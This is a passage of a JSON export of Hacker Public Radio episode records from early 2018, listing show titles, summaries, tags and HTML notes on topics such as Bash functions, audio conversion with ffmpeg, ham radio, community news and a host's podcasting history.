                                                            Thanks to bjb and Windigo for sending in updates in the past month.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2482,"date":"2018-02-06","title":"lca2018: Katie McLaughlin","duration":1368,"summary":"An interview with Katie McLaughlin at linux.conf.au 2018","notes":"

                                                            Clinton interviews Katie McLaughlin at linux.conf.au 2018 on her role with the conference as community liaison and as the lead organiser of PyCon Australia.

                                                            \n

                                                            Editor's Note: Corrected audio now available

                                                            \n","hostid":315,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"lca2018","version":0,"downloads":0,"valid":1}, {"id":2483,"date":"2018-02-07","title":"Useful Bash functions - part 4","duration":2386,"summary":"A Bash function for parsing lists of numbers and ranges","notes":"

                                                            Useful Bash functions - part 4

                                                            \n

                                                            Overview

                                                            \n

                                                            This is the fourth show about the Bash functions I use, and it may be the last unless I come up with something else that I think might be of general interest.

                                                            \n

                                                            There is only one function to look at this time, but it's fairly complex so needs an entire episode devoted to it.

                                                            \n

                                                            As before it would be interesting to receive feedback on this function and would be great if other Bash users contributed ideas of their own.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are long, they have been placed in a file on the server.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"coding,Bash,script,function","version":0,"downloads":0,"valid":1}, {"id":2484,"date":"2018-02-08","title":"The Big Idea","duration":1164,"summary":"A breezy look at what a \"big idea\" means in storytelling.","notes":"

                                                            \nLostnbronx looks at the concept of the \"big idea\" in storytelling and various genres, arguing that such a creative tool may not actually be all that necessary to tell a compelling tale.\n

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"writing,storytelling,lostnbronx, science fiction,fantasy,history,historical romance, story structure","version":0,"downloads":0,"valid":1}, {"id":2485,"date":"2018-02-09","title":"The Alien Brothers Podcast - S01E05 - I Saw the Invisible Man","duration":4629,"summary":"Casper and Rutiger discuss the now-old-by-internet-standards news of New York Times piece about real","notes":"

                                                            Recorded December 23 2017

                                                            \n

                                                            All links are external.

                                                            \n

                                                            Real mobile recording platform(recording Exile on Main Street)

                                                            \n

                                                            Let Me Drown” by Soundgarden

                                                            \n

                                                            T-Mobile AccuRadio Online

                                                            \n

                                                            Slint(band)

                                                            \n

                                                            Sonic Youth(band)

                                                            \n

                                                            Thurston Moore’s other bands

                                                            \n

                                                            Glowing Aura’s and Black Money” (the New York Times)

                                                            \n

                                                            Robert Bigelow(wikipedia)

                                                            \n

                                                            Tom DeLonge’s UFO Academy(consequence of sound)

                                                            \n

                                                            Big Audio Dynamite “Rush”(YouTube)

                                                            \n

                                                            Mick Jones(wikipedia)

                                                            \n

                                                            Buy tuning machines!(amazon)

                                                            \n

                                                            Ministry (band) (wikipedia)

                                                            \n

                                                            The truth behind the Elf on the Shelf(wikipedia)

                                                            \n

                                                            Redacted (twitter)

                                                            \n

                                                            How Did Harry Reid Get Rich?(national review)

                                                            \n

                                                            Mr Show - “Praying Machines”(youtube)

                                                            \n

                                                            The Firm (film)(youtube)

                                                            \n

                                                            Link collector(Loomis Bros)

                                                            \n

                                                            Magnets and how they work(know your meme)

                                                            \n

                                                            Mechanical Man(Devo) (youtube)

                                                            \n

                                                            How to take apart a dryer(hometips.com)

                                                            \n

                                                            Electrocution(wikipedia)

                                                            \n

                                                            Maytag Repair Man(Characterweb)

                                                            \n

                                                            Extra heavy guitar picks(sweetwater sound)

                                                            \n

                                                            Headphone splitter(zsounds)

                                                            \n

                                                            The man in the moon(wikipedia)

                                                            \n

                                                            Buddhism

                                                            \n","hostid":359,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"parties,fun,x-files,aliens,harry reid,martial law, star chamber,greetings,belated","version":0,"downloads":0,"valid":1}, {"id":2486,"date":"2018-02-12","title":"Some stuff I bought at a recent amateur radio rally","duration":968,"summary":"In this episode I talk about some stuff I bought at a recent amateur radio rally.","notes":"

                                                            Links to the stuff I bought at a recent amateur radio rally I attended.

                                                            \n\n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur Radio, Ham Radio","version":0,"downloads":0,"valid":1}, {"id":2487,"date":"2018-02-13","title":"Simple LibreOffice Repo for Fedora","duration":185,"summary":"Simple LibreOffice Repo for Fedora","notes":"

                                                            Simple LibreOffice Repo for Fedora

                                                            \n\n

                                                            My setup: You can look at the real setup. Hosted at home on a DLS connection so real usage is discouraged. https://home.toebesacademy.com/libreoffice/

                                                            \n\n

                                                            Actual Script https://home.toebesacademy.com/libreoffice/LOrepo

                                                            \n\n

                                                            Repo file to put in /etc/yum.repo.d https://home.toebesacademy.com/libreoffice/home.toebesacademy.com.repo

                                                            \n\n

                                                            Cron Entry. Should be run as web user, not root.

                                                            \n
                                                            \n# m h d m w\n# * * * * * command to be executed\n# - - - - -\n# | | | | |\n# | | | | +----- day of week (0 - 6) (Sunday=0)\n# | | | +------- month (1 - 12)\n# | | +--------- day of month (1 - 31)\n# | +----------- hour (0 - 23)\n# +------------- min (0 - 59)\n# m     h    dom mon dow command\n0       3    *   *   *    /var/www/html/libreoffice/LOrepo\n
                                                            \n","hostid":273,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice,Fedora,repository","version":0,"downloads":0,"valid":1}, {"id":2488,"date":"2018-02-14","title":"Psychology of Love","duration":792,"summary":"A look at some of the neuroscience and psychology behind love","notes":"\n","hostid":361,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"psychology, relationships, neuroscience, love","version":0,"downloads":0,"valid":1}, {"id":2489,"date":"2018-02-15","title":"CONTEXT IS EVERYTHING","duration":1634,"summary":"Lostnbronx creates a tiny video, from a large audio file.","notes":"

                                                            CONTEXT IS EVERYTHING

                                                            \n

                                                            hosted by Lostnbronx

                                                            \n

                                                            Turning a large audio file into a tiny video file for a very specific use case.

                                                            \n

                                                            This solution probably won't work for you, because none of the ones I found on the Internet worked for me. Trial and error led me here, and it's probably the only guide you'll have as well.

                                                            \n

                                                            Start with as high a quality audio file as you can manage. .wav is good, but it's big. Let's convert it to .flac. If you already have a .flac file, skip this part.

                                                            \n

                                                            1.) Convert .wav to .flac.

                                                            \n
                                                            sox INPUT.wav OUTPUT.flac
                                                            \n

                                                            2.) Convert the .flac to a very small mono .opus. Bitrate can be even smaller. I went down to 14.

                                                            \n
                                                            opusenc --bitrate 18 --downmix-mono INPUT.flac OUTPUT.opus
                                                            \n

                                                            3.) Combine the .opus file with a single static image, and output to a .webm video. This should not be very much bigger in file size than the .opus and .jpg combined. The smaller the image file, the better. (I tried using a .gif, but it was actually bigger than the .jpg I ended up with.)

                                                            \n
                                                            ffmpeg -i INPUT.opus -r 1 -loop 1 -i INPUT.jpg -c:v libvpx -tune stillimage -shortest -y -c:a copy OUTPUT.webm
                                                            \n

                                                            The final file. It doesn't sound great, but it's listenable, which is all that was desired.

                                                            \n

                                                            https://social.nasqueron.org/media/pEXqQotxC5P4GNJpf9U

                                                            \n

                                                            Here's a better quality version of the audiobook.

                                                            \n

                                                            https://downloads.cavalcadeaudio.com/stardrifter-novels/01-motherload/?p=home

                                                            \n

                                                            The process and final result can be improved upon by people smarter than I, without doubt, but this works for now.

                                                            \n

                                                            SPECIAL THANKS to the Urandom guys (X1101, Thaj, and Pokey), Monsterjavaguns (Jason van Gumster), and the ever-fabulous Klaatu, for their suggestions and encouragement. I would not have found a solution to this, nor even thought to do an episode of HPR, without them!

                                                            \n

                                                            Editor's Note 2018-02-15: The wrong audio was accidentally released with this show. It has been corrected and should be re-uploaded by your podcatcher.

                                                            \n","hostid":107,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"opus,opusenc,ffmpeg,avconv,webm,lostnbronx","version":1,"downloads":0,"valid":1}, {"id":2490,"date":"2018-02-16","title":"What's In My Podcatcher 2","duration":959,"summary":"A current report, with descriptions, of the podcasts I enjoy","notes":"

                                                            I listen to many podcasts as my primary form of audio entertainment, and because Hacker Public Radio listeners also tend to be podcast listeners (pretty much by definition) I am sharing my finds with the community. Besides, Ken made me do it.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"Podcasts","version":0,"downloads":0,"valid":1}, {"id":2491,"date":"2018-02-19","title":"Some news with Finux","duration":1061,"summary":"Just a short little podcast on some recent(ish) security related news stories","notes":"

                                                            The 3 stories covered in this episode

                                                            \n\n","hostid":85,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"security, hacking, news","version":0,"downloads":0,"valid":1}, {"id":2492,"date":"2018-02-20","title":"An Evening Subway Ride","duration":1945,"summary":"An evening subway ride on the Toronto subway from College Station to Sheppard/Yonge Station","notes":"

                                                            \nAn experiment in background noise.\n

                                                            \n

                                                            \nHaving seen so many people fall asleep on subway trains, I wonder if the sound only would also be somniferous.\n

                                                            \n

                                                            \nUsing my cellphone I recorded the ride (including boarding and alighting) on the Toronto subway (line 1) from College Station, north to Sheppard/Yonge Station. There was always at least one person sleeping (or at least appearing to be asleep) during the ride.\n

                                                            \n

                                                            \nGoogle Maps - goo.gl/aq97jR\n

                                                            \n

                                                            \nSo far, listening to the recording has not put me to sleep. \n

                                                            \n","hostid":362,"series":101,"explicit":0,"license":"CC-0","tags":"sound, Toronto, transit, subway, crowds, train","version":0,"downloads":0,"valid":1}, {"id":2493,"date":"2018-02-21","title":"YouTube Subscriptions - update","duration":885,"summary":"Some of the YouTube channels I have subscribed to in the last year","notes":"

                                                            YouTube Subscriptions - update

                                                            \n

                                                            Introduction

                                                            \n

                                                            I reported on some of my YouTube subscriptions in show 2202, where I concentrated on the various Maker channels I subscribe to.

                                                            \n

                                                            Since then I have added a few more such channels, but this time I also want to talk about some of the others I subscribe to.

                                                            \n

                                                            YouTube Channels

                                                            \n
                                                              \n
                                                            1. Anne of All Trades
                                                            2. \n
                                                            3. bigclivedotcom
                                                            4. \n
                                                            5. Computerphile
                                                            6. \n
                                                            7. David Waelder
                                                            8. \n
                                                            9. EvanAndKatelyn
                                                            10. \n
                                                            11. ExplainingComputers
                                                            12. \n
                                                            13. HomeMadeModern
                                                            14. \n
                                                            15. izzy swan
                                                            16. \n
                                                            17. Jackman Works
                                                            18. \n
                                                            19. mugumogu
                                                            20. \n
                                                            21. Pask Makes
                                                            22. \n
                                                            23. Phil Pinsky Productions
                                                            24. \n
                                                            25. RetroWeld
                                                            26. \n
                                                            27. Thomas Sanladerer
                                                            28. \n
                                                            29. tim sway
                                                            30. \n
                                                            31. Unemployed Redneck Hillbilly Creations
                                                            32. \n
                                                            33. William Lutes
                                                            34. \n
                                                            35. Wintergatan
                                                            36. \n
                                                            \n

                                                            Long notes

                                                            \n

                                                            I have another version of the above channel list in the long notes with more details and with some of my observations.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"YouTube,channel","version":0,"downloads":0,"valid":1}, {"id":2494,"date":"2018-02-22","title":"linux.conf.au 2018: Nicolas Steenhout","duration":1205,"summary":"Clinton interviews Nicolas Steenhout, who ran an accessibility workshop","notes":"

                                                            \nClinton interviews Nicolas Steenhout about his accessibility workshop, covering the different areas that automated and manual testing can cover. We also talk about the conference in general, and on the different ways that conference get feedback about their speakers.\n

                                                            ","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2018","version":0,"downloads":0,"valid":1}, {"id":2495,"date":"2018-02-23","title":"10 Years of Xoke","duration":723,"summary":"Tomorrow marks 10 years since his first episode, and Xoke talks a bit about HPR","notes":"

                                                            HPR 40, on the 24th Feb 2008, was when a (slightly) younger Xoke debuted

                                                            ","hostid":79,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Anniversary","version":0,"downloads":0,"valid":1}, {"id":2496,"date":"2018-02-26","title":"Making a Raspberry Pi inventory","duration":670,"summary":"How to collect identifying information about RPi devices","notes":"

                                                            Making a Raspberry Pi inventory

                                                            \n

                                                            Introduction

                                                            \n

                                                            I have a number of Raspberry Pis -- possibly too many -- and I sometimes lose track of which is which, what model, size, name, address each one is. I wanted to be able to keep an inventory of them all, and to this end I wrote myself a little script that can be run on any Pi which will report useful information about it.

                                                            \n

                                                            Every Pi has a unique serial number. Actually it's randomly generated so there may be a few collisions but it's close to unique! It also contains a revision number which encodes various items of information about it such as release date, model, PCB revision and memory. My script decodes this revision number for you based on a published table.

                                                            \n

                                                            I run a Wikimedia instance on a Pi and have used this script to record details of my Pis there as well as what they are being used for and any planned projects. I now feel more organised!

                                                            \n

                                                            Long notes

                                                            \n

                                                            The full-length notes (available here) contain a listing of the script, a brief description of it, and some example output.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi, RPi","version":0,"downloads":0,"valid":1}, {"id":2497,"date":"2018-02-27","title":"2017-2018 New Years Eve show part 1","duration":13200,"summary":"Part one of the sixth annual HPR New Year Show.","notes":"

                                                            HPR NYE 2017 - 1

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new year show 2017","version":0,"downloads":0,"valid":1}, {"id":2498,"date":"2018-02-28","title":"Life without Google","duration":266,"summary":"Quvmoh goes a month without G apps on his phone","notes":"","hostid":110,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"google free, F-droid, LineageOS, magic device tool","version":0,"downloads":0,"valid":1}, {"id":2499,"date":"2018-03-01","title":"Tuning around the HF 40Mtr band","duration":767,"summary":"In this episode I give an example of what sort of things you can expect hear on the HF band","notes":"

                                                            Tuning around the band

                                                            \n

                                                            In this episode I tune around a small portion of the HF (High Frequency) band in the 40 Meters section which in the UK covers 7 to 7.2Mhz.

                                                            \n

                                                            Equipment details

                                                            \n

                                                            The mode being used was mostly LSB (Lower Side Band)
                                                            \nhttps://en.wikipedia.org/wiki/Sideband

                                                            \n

                                                            At the end of the recording I briefly switch mode to to listen to a commercial station on AM (Amplitude modulation).
                                                            \nhttps://en.wikipedia.org/wiki/Amplitude_modulation

                                                            \n

                                                            The radio being used is my trusty and much loved Kenwood TS 940S
                                                            \nhttps://www.universal-radio.com/catalog/hamhf/ts940s.html

                                                            \n

                                                            The antenna used is a dipole tuned for the 40 Meter band.
                                                            \nhttps://en.wikipedia.org/wiki/Dipole_antenna

                                                            \n

                                                            I used my trusty Dictaphone and internal microphone to do the recording
                                                            \nhttps://www.amazon.co.uk/HccToo-Multifunctional-Rechargeable-Dictaphone-Conversation/dp/B015H9JP6S/ref=sr_1_1?ie=UTF8&qid=1502381150&sr=8-1&keywords=dictation+machines

                                                            \n

                                                            If you want to hold private conversations with another party over radio then perhaps amateur radio is not for you as this goes against the whole principle of Amateur Radio.

                                                            \n

                                                            Listening to amateur radio broadcasts is actively encouraged, and in the UK a licence is not required for listening.

                                                            \n

                                                            A simple receiver capable of listening to sideband broadcasts and odd bit of long wire is all that's required.

                                                            \n

                                                            In the past it was common to hear an Amateur operator saying goodbye to any short wave listeners at the end of their conversation. If you listen carefully at about 10 minutes in the station DF2BO says goodbye to anybody still listening.

                                                            \n

                                                            Stations received

                                                            \n
                                                              \n
                                                            • DF2BO speaking to Peter VK4ZP in Brisbane Queensland, on 7.16209 MHz

                                                            • \n
                                                            • CW station calling CQ on 7.00994 MHz, I don't know the callsign or details of the station as I can't read Morse code however I did recognise the distinctive rhythm of the letters C and Q.

                                                            • \n
                                                            • Transmitting the letters CQ on a particular radio frequency is used as an invitation for any operators listening on that frequency to respond. It is widely used in amateur radio.

                                                            • \n
                                                            • German station unidentified on 7.15794 MHz

                                                            • \n
                                                            • DF2BO name, Tom, near Stuttgart speaking to Rob VK2XZ who I can't hear on 7.16200 MHz, then speaking briefly with Chris VK2SR who I can't hear

                                                            • \n
                                                            • Another brief bit of morse code

                                                            • \n
                                                            • An unknown commercial station broadcasting on 7.35520 on AM

                                                            • \n
                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"ham radio, amateur radio, radio, hf","version":0,"downloads":0,"valid":1}, {"id":2500,"date":"2018-03-02","title":"What's In My Podcatcher 3","duration":1272,"summary":"A current report, with descriptions, of the podcasts I enjoy","notes":"

                                                            I listen to many podcasts as my primary form of audio entertainment, and because Hacker Public Radio listeners also tend to be podcast listeners (pretty much by definition) I am sharing my finds with the community. Besides, Ken made me do it.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"Podcasts","version":0,"downloads":0,"valid":1}, {"id":2501,"date":"2018-03-05","title":"HPR Community News for February 2018","duration":2881,"summary":"HPR Volunteers talk about shows released and comments posted in February 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Aaressaar, \n MPardo.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2479Thu2018-02-01Intergraph workstationJWP
                                                            2480Fri2018-02-02What's In My Podcatcher 1Ahuka
                                                            2481Mon2018-02-05HPR Community News for January 2018HPR Volunteers
                                                            2482Tue2018-02-06lca2018: Katie McLaughlinClinton Roy
                                                            2483Wed2018-02-07Useful Bash functions - part 4Dave Morriss
                                                            2484Thu2018-02-08The Big Idealostnbronx
                                                            2485Fri2018-02-09The Alien Brothers Podcast - S01E05 - I Saw the Invisible ManThe Alien Brothers Podcast (ABP)
                                                            2486Mon2018-02-12Some stuff I bought at a recent amateur radio rallyMrX
                                                            2487Tue2018-02-13Simple LibreOffice Repo for FedoraToeJet
                                                            2488Wed2018-02-14Psychology of LoveAaressaar
                                                            2489Thu2018-02-15CONTEXT IS EVERYTHINGlostnbronx
                                                            2490Fri2018-02-16What's In My Podcatcher 2Ahuka
                                                            2491Mon2018-02-19Some news with Finuxfinux
                                                            2492Tue2018-02-20An Evening Subway RideMPardo
                                                            2493Wed2018-02-21YouTube Subscriptions - updateDave Morriss
                                                            2494Thu2018-02-22linux.conf.au 2018: Nicolas SteenhoutClinton Roy
                                                            2495Fri2018-02-2310 Years of XokeXoke
                                                            2496Mon2018-02-26Making a Raspberry Pi inventoryDave Morriss
                                                            2497Tue2018-02-27HPR 2017 New Years Eve show part 1Various Hosts
                                                            2498Wed2018-02-28Life without GoogleQuvmoh
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 19 comments in total.

                                                            \n

                                                            There are 6 comments on\n4 previous shows:

                                                            \n
                                                            • hpr2418\n(2017-11-08) \"What's in my ham shack, part 2\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nMrX on 2018-02-25:\n\"re great infos\"

                                                              \n
                                                            • hpr2465\n(2018-01-12) \"TronScript where have you been all my life!\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ntimttmy on 2018-02-03:\n\"Thanks\"

                                                              \n
                                                            • hpr2477\n(2018-01-30) \"Reading Audio Books While Distracted\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndodddummy on 2018-02-05:\n\"Chickens\"
                                                              • \n
                                                              • \nComment 3:\nWindigo on 2018-02-19:\n\"Also distractable\"

                                                              \n
                                                            • hpr2478\n(2018-01-31) \"City Of Masks - HPR_AudioBookClub\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nhammerron on 2018-02-04:\n\"a second Star Trek reference\"
                                                              • \n
                                                              • \nComment 2:\nlostnbronx on 2018-02-05:\n\"Excellent Episode\"

                                                              \n
                                                            \n

                                                            There are 13 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr2482\n(2018-02-06) \"lca2018: Katie McLaughlin\"\nby Clinton Roy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-02-05:\n\"How on earth did I do that? :(\"
                                                              • Comment 2:\nClinton Roy on 2018-02-17:\n\"Thank you to the admins\"

                                                              \n
                                                            • hpr2488\n(2018-02-14) \"Psychology of Love\"\nby Aaressaar.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2018-02-19:\n\"Welcome\"

                                                              \n
                                                            • hpr2489\n(2018-02-15) \"CONTEXT IS EVERYTHING\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-02-15:\n\"Bin there done that. (Deliberate typo Dave)\"

                                                              \n
                                                            • hpr2492\n(2018-02-20) \"An Evening Subway Ride\"\nby MPardo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-02-19:\n\"Swapping in..\"
                                                              • Comment 2:\nRWA on 2018-02-20:\n\"hpr2492 :: An Evening Subway Ride\"
                                                              • Comment 3:\nMPardo on 2018-02-20:\n\"Screeching Steel Wheels\"
                                                              • Comment 4:\nKen Fallon on 2018-02-23:\n\"Meta\"

                                                              \n
                                                            • hpr2493\n(2018-02-21) \"YouTube Subscriptions - update\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHipstre on 2018-02-21:\n\"Entertained!\"
                                                              • Comment 2:\nDave Morriss on 2018-02-27:\n\"Enjoy!\"

                                                              \n
                                                            • hpr2495\n(2018-02-23) \"10 Years of Xoke\"\nby Xoke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-02-22:\n\"Wow\"

                                                              \n
                                                            • hpr2496\n(2018-02-26) \"Making a Raspberry Pi inventory\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2018-02-26:\n\"Directly into my toolbox\"
                                                              • Comment 2:\nDave Morriss on 2018-02-27:\n\"Thanks Mr. Young\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-February/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to Windigo and bjb for sending in updates in the past month.

                                                            \n

                                                            Over the period 25 shows have had tags and/or summaries added.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n

                                                            This page has been extended this month by the addition of a list of tags at the end. Each tag is followed by the show numbers which use that tag, each being a link to the show.

                                                            \n

                                                            The thinking is that if you are considering which tags to add to a show without them you can look through this list to find out whether other people have used the tag and in what context.

                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2502,"date":"2018-03-06","title":"Volume Of Thought","duration":440,"summary":"Lostnbronx attempts to measure the \"volume\" of his own thoughts.","notes":"

                                                            Lostnbronx measures how loud his own thoughts are -- or rather, how loud outside noise has to be before they are disrupted.

                                                            \n

                                                            It turns out that unwanted music in his ears at -30 dB is when his train of thought starts to derail.

                                                            ","hostid":107,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"lostnbronx,thinking,thoughts,volume,noise,music,confusion","version":0,"downloads":0,"valid":1}, {"id":2503,"date":"2018-03-07","title":"My journey into podcasting","duration":868,"summary":"Dave takes us on his journey into 10 years of podcasting","notes":"

                                                            How I Got Into Podcasting

                                                            \n

                                                            The Background

                                                            \n

                                                            Audio production has always been an interest of mine: my late grandfather was an audiophile, my dad ran an AV studio in Woking (the one where the Spice Girls were formed - my dad got mentioned in a couple of their autobiographies) and now runs his own AV consultancy business, and my cousin also runs an AV consultancy... so there’s a definite family history in there.

                                                            \n

                                                            I dabbled briefly with hospital radio (as a technician, rather than a presenter) in the late 80’s, and I was a technician and presenter on College Radio in the early 90’s where I hosted a show called “The Barry Manilow Fan Club” on Friday lunchtimes.

                                                            \n

                                                            Yes, I am a huge fan of Barry Manilow - he’s given me a lot of inspiration as a musician - no, I didn’t play any Barry on the College Radio show.

                                                            \n

                                                            I’d also had a few people say that I had a good radio voice. Others say a good radio face, but I don’t like them anymore.

                                                            \n

                                                            The Catalyst

                                                            \n

                                                            In 2007, I discovered this podcasting lark through a couple of friends who had their own podcasts. One was The Random Three: a personal musical journey where Mark - the host - would play three seemingly-random pieces of music from his own collection (thus, not podsafe) and explain the reasons why he chose them. Most of the time, these seemingly-random tracks actually had a theme, but it didn’t necessarily become apparent until after the second track. It was a great show - now sadly defunct - and I really miss it. I even submitted my own music choices for Mark to present.

                                                            \n

                                                            The other was Dumbed Down Life: three chaps nattering about “stuff” and playing some music along with it. Another great show, which - although it still exists - currently releases episodes every year or so.

                                                            \n

                                                            What drew me to these shows - apart from being friends, was the fact that these were regular guys, not professionals.

                                                            \n

                                                            That led me to think “I can do that”, so I set about proving - to myself, mostly - that I could.

                                                            \n

                                                            The Start

                                                            \n

                                                            One Thursday in early March 2008, when the wife had gone to the gym for a couple of hours, I grabbed my Logitech headset, my Linux laptop, a handful of tracks from the Podsafe Music Network, and a piece of software called IDJC, and recorded the first ever episode of The Bugcast. It was just over 22 minutes long, and it was dire. Utterly dire. Every so often, I go back to it and listen and cringe and marvel at how much better the show is now!

                                                            \n

                                                            The music back then wasn’t strictly podsafe either: the first track I played was Moloko’s Sing It Back… but I didn’t worry about it then, as I got the track from a source that gave implicit permission for use in podcasts.

                                                            \n

                                                            I did do a show - episode 20 - which was a nostalgic trip back to my college years, where I played tracks by Chad Jackson, Japan, and Dream Warriors. This was a complete and intentional violation of copyright on my part, which led me to pull the show only a few weeks later. I did rerelease the show two years after that, but with the offending tracks removed. However, there is a story to the show, so I would recommend you go listen.

                                                            \n

                                                            Back then, it was just me and a small listener-base of friends, their family, their families’ servants; their families’ servants’ tennis partners, and some chap I bumped into in the mess the other day called Bernard. But as time went on and I got more experience, I was really enjoying what I was doing, and started to experiment.

                                                            \n

                                                            One thing I did discover by about episode 16 is that I wasn’t editing my shows in post, aside from topping and tailing silence. This made it so much easier for me as I was recording the shows as-live from the very beginning, but taking out the vocal gaps, gaffes and the like. So there was really only one place to go from there...

                                                            \n

                                                            Going live

                                                            \n

                                                            So in August 2008, on episode 24, to an audience of about 10 people, I streamed the first LIVE episode of the podcast. Wow, that was such a buzz! It was a major turning point in the show as I committed myself to do a regular show at a set time each week... turning a fun hobby into something a little step beyond amateur. There were a couple of non-live shows that I had to put together using the wife’s Windows machine when my laptop went bang and had to be repaired, but I hated doing that because I didn’t like the piecemeal sticky-tape method of production. There was little flow, and my spoken links between the music sounded very much like a bad Radio 4 anchor.

                                                            \n

                                                            In late September 2008, I was accepted as a member of the now-defunct Association of Music Podcasting. This was another major step for me. All member of the Association were peer-reviewed as part of the criteria for membership. This meant that my podcast was sufficiently good to be accepted. That meant so much to me, and made me take things so much more seriously (and was the main reason why I pulled episode 20 just prior)

                                                            \n

                                                            It also meant that the show was becoming more music-oriented - something I really did not have a problem with! Particularly as I was starting to strike up good relationships with some of the artists that I was featuring on the show. This led to me prerecording an interview with one of the bands in January 2009, and then again with another artist in March.

                                                            \n

                                                            Having registered a proper domain for the podcast (rather than piggybacking my own personal domain) and then celebrated the first anniversary of the show... you could say that the show was fuelling its own progression. And I was enjoying that journey immensely!

                                                            \n

                                                            Over the next 6 months, I joined the Made In The UK Show collective, interviewed an artist LIVE on the show, had the show syndicated on an internet radio station in the UK, and launched a new, independent chatroom for the website.

                                                            \n

                                                            The Major Change

                                                            \n

                                                            And then, in September of 2009, the 18 month anniversary of the show, and two days before my birthday, something happened to totally turn the show upside down.

                                                            \n

                                                            I decided that I wanted to improve the show. Bearing in mind that I was still using my Logitech headset, my Linux laptop, and a piece of software called IDJC to record and stream the show, I felt it was time for a change. So I spent a small fortune on a mixer, microphones, stands, audio interface, and cables.

                                                            \n

                                                            Yes, microphones. Plural.

                                                            \n

                                                            Up to this point my wife, Caroline, had progressed from occasional listener, to regular distraction (I don’t think details are appropriate!), to researcher. So I asked her a question... if I bought two microphones, would you join the show as a permanent co-host? She said yes.

                                                            \n

                                                            That really changed things. The dynamic of me talking to an imaginary audience (bar the activity in the live chatroom) changing to me bouncing off someone in the same room was electric! The show was totally transformed by that fairly simple change. Our listener figures jumped up, the music on the show was more varied, existing listeners enjoyed the show more... it was amazing.

                                                            \n

                                                            There have been occasions where Caroline hasn’t been able to join the show (illness, kids, etc) and the listeners (and I) have really noticed her absence.

                                                            \n

                                                            Since Then

                                                            \n
                                                              \n
                                                            • we’ve launched an OGG feed, which comprises approximately 20% of the downloads from the site
                                                            • \n
                                                            • at one point we were syndicated on 4 internet radio stations around the world
                                                            • \n
                                                            • we’re major contributors to cchits.net
                                                            • \n
                                                            • in 2013 we were awarded the European Podcast Award for UK Personality
                                                            • \n
                                                            • we’ve just celebrated 10 years of podcasting, producing over 500 regular episodes
                                                            • \n
